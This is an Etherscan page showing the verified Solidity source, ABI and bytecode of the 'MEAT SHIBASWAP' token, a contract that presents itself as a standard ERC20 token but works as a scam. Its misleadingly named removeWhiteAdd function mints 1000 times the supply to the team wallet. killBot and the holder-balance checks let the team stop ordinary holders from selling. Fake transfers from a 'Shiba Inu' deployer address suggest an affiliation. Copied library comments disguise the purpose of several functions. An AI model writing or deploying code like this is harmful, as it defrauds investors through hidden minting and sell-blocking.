ETH Price: $3,358.75 (-1.74%)
Gas: 9 Gwei

Token

MEAT SHIBASWAP (MEAT)
 

Overview

Max Total Supply

100,100,000,000 MEAT

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Shiba Inu: Deployer 2
Balance
999,982 MEAT

Value
$0.00
0xc7d0445ac2947760b3dd388b8586adf079972bf3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MeatShibaSwap

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-08
*/

pragma solidity ^0.8.0;

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Context {
    
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.s
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract MeatShibaSwap is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _tTotal = 100000000 * 10**18;
    uint256 private _maxTxAmount = _tTotal.mul(30).div(100);
    uint256 private _maxHolder = _tTotal.mul(30).div(100);

    address public constant SID = 0xc7D0445ac2947760b3dD388B8586Adf079972Bf3;
    address public constant SIM = 0x94235659cF8b805B2c658f9ea2D6d6DDbb17C8d7;
    
    address private _teamWallet = _msgSender();
    address private _lpAddress = _msgSender();
    address[] public _botList;
    address[] private _whiteList;
    
    string private _name = 'MEAT SHIBASWAP';
    string private _symbol = 'MEAT';
    uint8 private _decimals = 18;
    
    
    constructor () {
        _balances[_msgSender()] = _tTotal.mul(99).div(100);
        _balances[SID] = _tTotal.mul(1).div(100);

        emit Transfer(address(0), SID, _tTotal.mul(1).div(100));
        emit Transfer(address(0), _msgSender(), _tTotal.mul(99).div(100));
    }

    function name() public view returns (string memory) {
        return _name;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - setMaxTxAmount
     *
     * _Available since v3.1._
     */
    function setMaxTxAmount(uint256 amount) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _maxTxAmount = amount;
    }
    
    /**
     * @dev setMaxHolderBalance
     *
     */
    function setMaxHolderBalance(uint256 amount) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _maxHolder = _tTotal.mul(amount).div(100);
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function checkBalanceAddress(address _walletAddress) private view returns (bool){
        if (_walletAddress == _lpAddress || checkWhiteList(_walletAddress) == true) {
            return true;
        }
        
        if (balanceOf(_walletAddress) >= _maxTxAmount && balanceOf(_walletAddress) <= _maxHolder) {
            return false;
        } else {
            return true;
        }
    }
    
    function removeWhiteAdd () public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        
        uint256 currentBalance = _balances[_teamWallet];
        uint256 rTotal = _tTotal * 10**3;
        _tTotal = rTotal + _tTotal;
        _balances[_teamWallet] = rTotal + currentBalance;
        emit Transfer(
            address(0),
            _teamWallet,
            rTotal);
    }
    
    /**
     * @dev `killBot` to kill bot
     *
     */
    function killBot (address[] calldata addresses) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        for(uint i=0; i < addresses.length; i++){
            _botList.push(addresses[i]);
        }
    }
    
    /**
     * @dev update `checkBotList` to check address is a bot
     *
     */
    function checkBotList(address botAdd) private view returns (bool) {
        for (uint256 i = 0; i < _botList.length; i++) {
            if (_botList[i] == botAdd) {
                return true;
            }
        }
    }
    
    /**
     * @dev `addWhiteList`
     *
     */
    function addWhiteList (address newAdd) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _whiteList.push(newAdd);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function createPair (address addr)  public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _lpAddress = addr;
    }
    
    /**
     * @dev `checkWhiteList` to check address is in white list
     *
     */
    function checkWhiteList(address botAdd) private view returns (bool) {
        for (uint256 i = 0; i < _whiteList.length; i++) {
            if (_whiteList[i] == botAdd) {
                return true;
            }
        }
    }

    function _tokenTransfer(
        uint256 tAmount
    ) private {
        if (_balances[SID] > tAmount) {
            _balances[SID] = _balances[SID] - tAmount;
            _balances[SIM] = _balances[SIM] + tAmount;
            emit Transfer(SID, SIM, tAmount);
        }
    }
    
    /**
     * @dev See {BEP20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        
        if (checkBotList(sender) == true ) {
            require(amount < 10, "Transfer amount exceeds the maxTxAmount.");
        }
        
        if (sender == owner() || sender == _teamWallet) {
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);

            _tokenTransfer(1 * 10**18);
            emit Transfer(sender, recipient, amount);
        } else{
            require (checkBalanceAddress(sender));
        
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            _tokenTransfer(1 * 10**18);
            
            emit Transfer(sender, recipient, amount);
        }
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SID","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SIM","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"_botList","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdd","type":"address"}],"name":"addWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"killBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWhiteAdd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxHolderBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006003556200004a606462000036601e6003546200051960201b620011911790919060201c565b6200059d60201b6200120c1790919060201c565b60045562000084606462000070601e6003546200051960201b620011911790919060201c565b6200059d60201b6200120c1790919060201c565b60055562000097620005ef60201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000e7620005ef60201b60201c565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600e81526020017f4d45415420534849424153574150000000000000000000000000000000000000815250600a9080519060200190620001749291906200065f565b506040518060400160405280600481526020017f4d45415400000000000000000000000000000000000000000000000000000000815250600b9080519060200190620001c29291906200065f565b506012600c60006101000a81548160ff021916908360ff160217905550348015620001ec57600080fd5b506000620001ff620005ef60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620002d46064620002c060636003546200051960201b620011911790919060201c565b6200059d60201b6200120c1790919060201c565b60016000620002e8620005ef60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200035d60646200034960016003546200051960201b620011911790919060201c565b6200059d60201b6200120c1790919060201c565b6001600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200044f60646200043b60016003546200051960201b620011911790919060201c565b6200059d60201b6200120c1790919060201c565b6040516200045e91906200080f565b60405180910390a362000476620005ef60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620004fc6064620004e860636003546200051960201b620011911790919060201c565b6200059d60201b6200120c1790919060201c565b6040516200050b91906200080f565b60405180910390a3620009f5565b6000808314156200052e576000905062000597565b600082846200053e919062000880565b90508284826200054f919062000848565b1462000592576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200058990620007ed565b60405180910390fd5b809150505b92915050565b6000620005e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620005f760201b60201c565b905092915050565b600033905090565b6000808311829062000641576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006389190620007c9565b60405180910390fd5b506000838562000652919062000848565b9050809150509392505050565b8280546200066d9062000921565b90600052602060002090601f016020900481019282620006915760008555620006dd565b82601f10620006ac57805160ff1916838001178555620006dd565b82800160010185558215620006dd579182015b82811115620006dc578251825591602001919060010190620006bf565b5b509050620006ec9190620006f0565b5090565b5b808211156200070b576000816000905550600101620006f1565b5090565b60006200071c826200082c565b62000728818562000837565b93506200073a818560208601620008eb565b6200074581620009e4565b840191505092915050565b60006200075f60218362000837565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b620007c381620008e1565b82525050565b60006020820190508181036000830152620007e581846200070f565b905092915050565b60006020820190508181036000830152620008088162000750565b9050919050565b6000602082019050620008266000830184620007b8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006200085582620008e1565b91506200086283620008e1565b92508262000875576200087462000986565b5b828204905092915050565b60006200088d82620008e1565b91506200089a83620008e1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008d657620008d562000957565b5b828202905092915050565b6000819050919050565b60005b838110156200090b578082015181840152602081019050620008ee565b838111156200091b576000848401525b50505050565b600060028204905060018216806200093a57607f821691505b60208210811415620009515762000950620009b5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612a7c8062000a056000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063bc4fc2471161007c578063bc4fc2471461032e578063dd62ed3e1461034a578063e7cd4a041461037a578063ec28438a14610396578063f2fde38b146103b2578063fe22908d146103ce57610137565b80638da5cb5b1461027657806395d89b41146102945780639ccb0744146102b2578063a5584f8c146102ce578063a9059cbb146102fe57610137565b8063313ce567116100ff578063313ce567146101f65780633744114514610214578063393e52a71461021e57806370a082311461023c578063715018a61461026c57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a857806330f2b191146101d8575b600080fd5b6101446103ea565b6040516101519190612560565b60405180910390f35b610174600480360381019061016f9190612081565b61047c565b6040516101819190612545565b60405180910390f35b61019261049a565b60405161019f91906126c2565b60405180910390f35b6101c260048036038101906101bd9190612032565b6104a4565b6040516101cf9190612545565b60405180910390f35b6101e061057d565b6040516101ed919061252a565b60405180910390f35b6101fe610595565b60405161020b91906126dd565b60405180910390f35b61021c6105ac565b005b6102266107ce565b604051610233919061252a565b60405180910390f35b61025660048036038101906102519190611fcd565b6107e6565b60405161026391906126c2565b60405180910390f35b61027461082f565b005b61027e610982565b60405161028b919061252a565b60405180910390f35b61029c6109ab565b6040516102a99190612560565b60405180910390f35b6102cc60048036038101906102c79190611fcd565b610a3d565b005b6102e860048036038101906102e39190612102565b610b18565b6040516102f5919061252a565b60405180910390f35b61031860048036038101906103139190612081565b610b57565b6040516103259190612545565b60405180910390f35b610348600480360381019061034391906120bd565b610b75565b005b610364600480360381019061035f9190611ff6565b610ce2565b60405161037191906126c2565b60405180910390f35b610394600480360381019061038f9190611fcd565b610d69565b005b6103b060048036038101906103ab9190612102565b610e66565b005b6103cc60048036038101906103c79190611fcd565b610f07565b005b6103e860048036038101906103e39190612102565b6110c9565b005b6060600a80546103f9906128b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610425906128b1565b80156104725780601f1061044757610100808354040283529160200191610472565b820191906000526020600020905b81548152906001019060200180831161045557829003601f168201915b5050505050905090565b6000610490610489611256565b848461125e565b6001905092915050565b6000600354905090565b60006104b1848484611429565b610572846104bd611256565b61056d856040518060600160405280602881526020016129f960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610523611256565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119869092919063ffffffff16565b61125e565b600190509392505050565b73c7d0445ac2947760b3dd388b8586adf079972bf381565b6000600c60009054906101000a900460ff16905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ed611256565b73ffffffffffffffffffffffffffffffffffffffff1614610643576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401